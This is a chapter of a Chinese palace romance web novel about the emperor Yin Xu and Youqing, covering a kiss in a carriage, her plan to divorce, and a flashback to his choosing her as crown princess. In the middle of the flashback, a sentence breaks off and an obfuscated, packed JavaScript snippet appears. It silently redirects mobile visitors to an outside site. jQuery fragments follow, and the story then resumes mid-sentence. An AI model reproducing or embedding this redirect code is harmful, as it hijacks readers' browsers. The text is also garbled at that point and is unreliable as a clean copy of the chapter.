21. 嗅青梅

作品:《宫阙藏青

    马车之外,风呼啸而过。


    马车之内,热茶打翻的瞬间,幼青的手被紧紧包裹住,牢扣在了榻上,茶水飞溅在了殷胥的手背,顿时烫得微微发红,没有人注意到。


    他倾着身,扣住她的手,吻她的唇。


    喧嚣的风,在此刻静止了。


    幼青眼前心里都仿佛只剩下,这一瞬如擂鼓般震耳欲裂的心跳声。


    所有的感官都在这刻都失灵,她只知道僵在原处,接受这个突如其来的吻。


    只是个蜻蜓点水般的吻。


    甚至他的吻离开的时候,幼青都没有任何感觉,直到片刻之后,唇瓣才后知后觉地变得发麻。


    冒着热气的茶水,在虎皮毯上晕开。


    幼青仍没有反应过来,直愣愣地看着就在咫尺之距的殷胥。


    对上她的目光,殷胥微转了头错开,而后极其自然地俯身,将脚边的碎瓷拿锦帕仔细地包好,嗓音一如往常的平静。


    “怎么突然要出宫?”


    听着他微冷镇静的声音,幼青终于渐回过神来,紧攥的手指一点点松开,她轻轻垂下了眼眉,静了静剧烈起伏的心绪。


    在幼青垂眼的这刻,殷胥将包着碎瓷的锦帕放在一边,胸口炙热的温度,耳根的发烫终于都褪下去。


    “回禀陛下,并不突然。”幼青道。


    幼青放在身前的双手,一点点攥紧,她低头盯着紧扣的手指。


    昨夜突兀地说自己要和离,已然极为出格又令人尴尬。


    她不能再不懂分寸。


    幼青垂着眼:“本就是该出宫的日子,臣女的身份,于宫中久待也有失礼仪。”


    所有积聚的热意,都渐冷凝下来。


    殷胥的唇角,逐渐拉平。


    眼前人低着头,发顶柔软,珠钗颤动着插在鬓间,莹白的珍珠耳坠,在帷裳缝隙落进来的光下,柔软而圆润。


    柔软到窥不见,一丝她的心绪,像是团温水,无论打到哪里,都只会陷进去,很快又恢复原样。


    昨日说的和离,只是她的一时冲动。


    “后悔了?”殷胥蓦地开口。


    幼青愣了下,有些疑惑地轻抬起眼。


    殷胥薄唇轻动,目光凝着她:“昨夜才说的要和离,今日就后悔了?”


    光影从侧面进来,他身着玄黑龙袍,胸前五爪金龙怒目而视,锋利的爪牙闪着寒光,他眉目隽永,薄唇淡而冷,半边落在阴影当中,整个人锋芒毕现。


    这一瞬,幼青几乎被夺去心神,很快她深深垂下了眼,缓缓摇头,喉咙轻动。


    “不是的,我要和离的。”


    她没有抬头,只轻轻呼吸,默了片刻之后,轻声叙述:“听闻宫中要建女医署,臣女想和离之后,通过考核入宫做女医。”


    上方沉寂了片刻,才道了声“好”。


    他掀起帷裳,起身下了马车,唯余最后一句极轻的“朕等你”,清晰地在车厢之内回荡,又在呼啸的风声中散尽。


    又过了片刻之后,玉葛和丹椒终于回到了马车里,这回侍从没有再拦,车马一路畅行无阻地出了宫门。


    闹市熙熙攘攘,幼青坐在车内,从小屉中拿出卷书,轻轻地翻开,握着书卷的手,微不可见的颤动。


    玉葛收回了目光,瞧着幼青还好,方才应当没发生什么,陛下应当也不至于不管不顾做出些出格的事来。


    下一刻,玉葛的目光顿住。


    泛黄的书卷上落下一滴水渍,很快,又落下一滴,清澈的水渍重重叠叠晕开,墨迹一点点模糊。


    “二小姐?”玉葛声音微颤。


    幼青仓促地抬起了头。


    她眼眶泛着红,白净的脸颊上挂着清晰的泪痕,很快她垂下头,锦帕轻掩,她摇了摇头,低声道:“要和离了,一切都要重新开始了,我很高兴。”


    玉葛眼睛蓦地酸了。


    当年的太子殿下奉上了全部的心意,可如今,帝王是高高在上的帝王,早已不复当初少年的炙热,冷淡而沉默,处处保持着距离分寸,尽是相顾无言的生疏。


    幼青想要重新开始,值得吗?


    月华门内,殷胥提步缓缓行着,一旁的太监宫人皆是静谧地随着,长宁也跟在后面,偷偷望了好几眼,又没有说话。


    年轻帝王低眉沉目,腰间环珮轻撞,玄黑氅衣在风中仍重重垂着,稀稀的日光下轮廓镀上金色的碎斑。


    她要和离,再入宫。


    一切终于要重新开始了。


    只要她先来到他的身边,往后的事,都可以慢慢来。


    长宁垂下了头,踢着地上的石子儿,眼前仿佛又浮现,幼青那时笑得眼睛弯弯,赌牌时耍赖地撒娇,而太子殿下眉眼含着笑,纵容地当起了外援。


    而现在,两人说不上来的生疏。


    上回,皇兄还砸了东西。


    这回,彻底放了人离开。


    长宁深深呼吸:“皇兄——”


    殷胥没有停步。


    长宁接着道:“时过境迁,很多时候,错过、遗憾是难免的。”


    殷胥脚步顿住,没有看长宁,声音依旧淡淡,言简意赅。


    “不会错过,没有遗憾。”


    在长宁懵然的目光中,殷胥走远了。


    回至长生殿中,南窗之下,日光透过窗纱落在黑漆桌案,碎金上下浮动,迷蒙了眼前的所有景象。


    殷胥端起茶盏,微黄的茶汤,映出他凝眉的神情,光影在微微的风中轻皱。


    香积寺燎燎的烟气中,她垂首随着沈文观离去,清篁阁幽幽的竹影下,她匆匆地与沈文观并肩而行。


    隔着三年的分别,所有她曾含笑的唇角,盛满期冀的眼眉,柔软的嗔怪,都没有再落向他。


    唯余欲言又止的神情,低垂的眼眉,颤动的眼睫,克制又冷淡的话语。


    殷胥蓦地忆起,从前初见她之时。


    昔年旧日,上阳宫中。


    正值初夏,日光正是明媚。


    彼时尚是太子的殷胥惯如往常请安,用罢早膳后,就行了礼准备离开,却罕见地被留下了。


    那时的杜皇后,还没有似如今这般笃信佛法,鬓边珠翠摇摇,正红的宫装在日光下如炙烈的火。


    宫人撤了膳食,杜皇后坐在了榻上。


    殷胥净了手,微微俯身打起帘栊,缓步走了进来,行走若有度。一身月白衣袍,缕缕银色暗纹在日影下轻浅浮动,肃肃如松下风,朗朗若云间月。


    杜皇后端起茶盏,轻饮一口:“近来朝中在商议册立太子妃,此事你当知道罢。”


    殷胥道:“知道。”


    杜皇后试探着问:“你可有何想法?”


    殷胥作为国之储君,自小起便辅国,治水患平匪寇,年纪轻轻,德行才望皆是出众,早慧且极为聪敏。


    而太子妃如无意外,是未来的国母,定然是要重重选拔,要经了朝中推选,还要皇帝肯了才行。


    但杜皇后想,太子妃除却是太子妃,也是相伴一生的妻。


    如果可以,杜皇后还是希望尽量能在可选的范围内,择他心仪的那个,如此两人合得来,才好长长久久地走下去。


    故而,今日杜皇后才有此一问。


    若殷胥心中已有些主意,杜皇后还是想尽量考虑一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643388|155413||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下他自己的心意。


    殷胥端起茶盏,轻轻撇去浮沫,热气升腾而起,蒙蒙地笼上过于清隽的眉目,他神色冷淡:“立太子妃乃国之重事,非我一人之事,由朝中定夺吧。”


    杜皇后神色复杂,搁下茶盏,以锦帕略蘸了蘸唇角。


    怎么从小到大就没在这个孩子身上,看见一点常人该有的欲望?无论是什么,东西也好,人也好,其他的也好,就没见他渴求过什么。


    “你还是瞧一瞧吧。”


    杜皇后说着,略抬手示意了下,宫人抱了大把的卷轴过来,恭敬地行礼之后立在了一旁。


    卷轴缓缓展开,画卷正中是惟妙惟肖的美人,左上角书写姓名、家世、年岁。


    美人都美得各有千秋,杜皇后一时都看入了神,不由得暗暗赞叹,忽觉不远处许久都没有一丝声音,她抬头一看,殷胥坐在榻上,一手支着下颌,已随意地翻起了一旁快落灰的经文。


    杜皇后:“……”


    经文这么好看吗?


    仿佛瞥见了杜皇后不满的目光,殷胥将手中的佛经阖上,放回了桌案,起身走至宫人面前,伸手从中拿出一筒卷轴。


    “看过的所有,她最合心意。”


    杜皇后有点恼,他方才根本都没看,现在就随便拿了个出来糊弄过关,这是在给他选太子妃,又不是给她选。


    “既心中无意,也不要糊弄本宫。”


    殷胥道:“没有糊弄。”


    杜皇后抬手按在桌案,先让宫人不要展开画卷,又望向殷胥:“此画是谁?”


    殷胥:“御史薛标之女,薛氏幼青。”


    杜皇后看了眼宫人,宫人忙会意地将画卷缓缓地展开。


    微微泛黄的宣纸上,画中的女子只是极其简单地立在那里,眉眼间未脱稚气,但容色已极盛,一身月白衣衫,鬓间斜插珠钗,手中执着一卷书,抬眼望过来,那双明眸灼灼,像直望进了画外,简直是最传神的一笔。


    杜皇后叹道:“真是个灵秀姑娘。”


    再一看姓名,果真是无误。


    匆匆扫过几眼,他就把姓名家世都记住了都不算,还准确地挑出了那一卷。


    杜皇后问:“你可是从前识得她?”


    “不识。”殷胥道。


    只论相貌,她的确凑巧极合心意。


    杜皇后收起画卷,家世其余的再说,最重要的是品性如何,若是二人性情不合,反倒是要成一对怨偶。


    殷胥这样性子冷淡的,太子妃活泼一点话多一点的,那就正好相补。


    杜皇后细细地问了起来,宫人一字一句地认真回答,当问及其母时,宫人答是姑苏燕氏二房之次女。


    姑苏燕氏,姑苏城极有名望的大家,家风极纯正,而二房次女素有才名,年纪极轻时便一诗名动姑苏,只可惜去世早。


    若是这样的母亲,想来其女性情当会娴静温雅一些。


    只怕也是个不爱说话的,方才画卷里的人,给人的感觉也是温柔安静。


    杜皇后瞥了殷胥一眼,若是这两人在一处,只怕天天不说话,各瞧各自的书,这点倒是不太好了。


    不过相敬如宾,也比日日争吵的好。


    杜皇后正这般想着,宫人犹犹豫豫着低声开口道:“这位薛二小姐,有点特别。”


    “怎么特别?”杜皇后问。


    殷胥也抬了抬眉,生起几分好奇。


    宫人闭了闭眼,垂了垂头,暗暗深吸一口气,连着没断道:“这位薛二小姐曾大闹祠堂,砸了牌位,后去了道观修行,近来才回至长安城中。”


    杜皇后启了启唇:“……”